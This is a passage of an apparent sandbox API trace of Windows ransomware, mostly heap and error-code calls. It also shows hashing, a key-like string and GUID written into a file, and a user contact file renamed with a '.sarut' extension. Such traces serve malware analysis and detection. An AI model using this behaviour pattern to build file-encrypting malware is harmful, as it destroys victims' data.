dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0267.778] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0267.778] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0267.778] GetLastError () returned 0x0 [0267.778] SetLastError (dwErrCode=0x0) [0267.778] GetLastError () returned 0x0 [0267.778] SetLastError (dwErrCode=0x0) [0267.778] GetLastError () returned 0x0 [0267.779] SetLastError (dwErrCode=0x0) [0267.779] GetLastError () returned 0x0 [0267.779] SetLastError (dwErrCode=0x0) [0267.779] GetLastError () returned 0x0 [0267.779] SetLastError (dwErrCode=0x0) [0267.779] GetLastError () returned 0x0 [0267.779] SetLastError (dwErrCode=0x0) [0267.779] GetLastError () returned 0x0 [0267.779] SetLastError (dwErrCode=0x0) [0267.779] GetLastError () returned 0x0 [0267.779] SetLastError (dwErrCode=0x0) [0267.779] GetLastError () returned 0x0 [0267.779] SetLastError (dwErrCode=0x0) [0267.779] GetLastError () returned 0x0 [0267.779] SetLastError (dwErrCode=0x0) [0267.779] GetLastError () returned 0x0 [0267.780] SetLastError (dwErrCode=0x0) [0267.780] GetLastError () returned 0x0 [0267.780] SetLastError (dwErrCode=0x0) [0267.780] GetLastError () returned 0x0 [0267.780] SetLastError (dwErrCode=0x0) [0267.780] GetLastError () returned 0x0 [0267.780] SetLastError (dwErrCode=0x0) [0267.780] GetLastError () returned 0x0 [0267.780] SetLastError (dwErrCode=0x0) [0267.780] GetLastError () returned 0x0 [0267.780] SetLastError (dwErrCode=0x0) [0267.780] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0267.780] GetLastError () returned 0x0 [0267.781] SetLastError (dwErrCode=0x0) [0267.781] GetLastError () returned 0x0 [0267.781] SetLastError (dwErrCode=0x0) [0267.781] GetLastError () returned 0x0 [0267.781] SetLastError (dwErrCode=0x0) [0267.781] GetLastError () returned 0x0 [0267.781] SetLastError (dwErrCode=0x0) [0267.781] GetLastError () returned 0x0 [0267.781] SetLastError (dwErrCode=0x0) [0267.781] GetLastError () returned 0x0 [0267.781] SetLastError (dwErrCode=0x0) [0267.781] GetLastError () returned 0x0 [0267.781] SetLastError (dwErrCode=0x0) [0267.781] GetLastError () returned 0x0 [0267.781] SetLastError (dwErrCode=0x0) [0267.782] GetLastError () returned 0x0 [0267.782] SetLastError (dwErrCode=0x0) [0267.782] GetLastError () returned 0x0 [0267.782] SetLastError (dwErrCode=0x0) [0267.782] GetLastError () returned 0x0 [0267.782] SetLastError (dwErrCode=0x0) [0267.782] GetLastError () returned 0x0 [0267.782] SetLastError (dwErrCode=0x0) [0267.782] GetLastError () returned 0x0 [0267.782] SetLastError (dwErrCode=0x0) [0267.782] GetLastError () returned 0x0 [0267.782] SetLastError (dwErrCode=0x0) [0267.782] GetLastError () returned 0x0 [0267.782] SetLastError (dwErrCode=0x0) [0267.782] GetLastError () returned 0x0 [0267.783] SetLastError (dwErrCode=0x0) [0267.783] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0267.783] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x640000) returned 1 [0267.783] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3069588 | out: hHeap=0x640000) returned 1 [0267.783] CryptDestroyHash (hHash=0x3091560) returned 1 [0267.783] CryptReleaseContext (hProv=0x2fa5280, dwFlags=0x0) returned 1 [0267.783] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0267.783] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x490) returned 0x712110 [0267.783] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0267.783] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0267.783] WriteFile (in: hFile=0x5c4, lpBuffer=0x712110*, nNumberOfBytesToWrite=0x48f, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x712110*, lpNumberOfBytesWritten=0x387fb24*=0x48f, lpOverlapped=0x0) returned 1 [0267.783] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0267.784] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.784] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0267.784] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0267.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0267.784] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0267.784] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0267.784] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0267.784] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0267.784] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0267.784] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0267.784] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0267.785] CloseHandle (hObject=0x5c4) returned 1 [0267.786] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5280 [0267.786] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x890) returned 0x311d708 [0267.786] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5280 | out: hHeap=0x640000) returned 1 [0267.786] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact.sarut")) returned 1 [0267.787] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0267.787] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0267.791] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0267.791] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 0 [0267.791] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0267.791] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab840 | out: hHeap=0x640000) returned 1 [0267.791] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3116970 | out: hHeap=0x640000) returned 1 [0267.791] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0267.791] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x3116970 [0267.791] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0267.792] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.792] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.792] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.792] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.792] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.792] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.792] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.792] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.792] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.792] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.792] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.792] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.792] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.792] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.794] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.795] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.795] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.795] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.795] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.795] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.795] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.795] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0267.795] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.795] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.795] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.795] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.795] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0267.795] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.795] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.795] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.795] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.795] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.796] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.796] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.796] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.796] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0267.796] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.796] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.796] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.796] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0267.796] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.796] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.796] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.796] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0267.796] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.796] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.796] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.796] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.796] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.797] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.797] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.797] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.797] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.797] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.797] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.797] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0267.797] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.797] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.797] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.797] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0267.797] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.797] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.797] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.797] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.798] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.798] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.798] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.798] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.798] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.798] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.798] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.798] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.798] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.798] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.798] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.798] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.798] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.798] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.798] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.798] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.799] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.799] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.799] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.799] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.799] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.799] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.799] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.799] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.799] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.799] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.799] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.799] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.799] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0267.799] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.799] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.799] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.800] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.800] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.800] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.800] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.800] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.800] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.800] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0267.800] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.800] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.800] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.800] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.800] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0267.800] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.800] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.800] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.800] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0267.800] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.800] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.800] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.801] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.801] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.801] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.801] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.801] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.801] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.801] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.801] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.801] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.801] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0267.801] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.801] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.801] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.801] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.801] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0267.801] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.801] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.801] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.801] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0267.801] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.801] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.801] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.801] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.801] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.802] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.802] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.802] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.802] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.802] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.802] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.802] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.802] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.802] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.802] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.802] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.802] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.802] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.802] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.802] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.802] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.802] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.802] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.802] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.802] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.802] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.802] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.802] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.802] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.802] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.803] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.803] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.803] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0267.803] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.803] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.803] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.803] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.803] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.803] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.803] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.803] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.803] 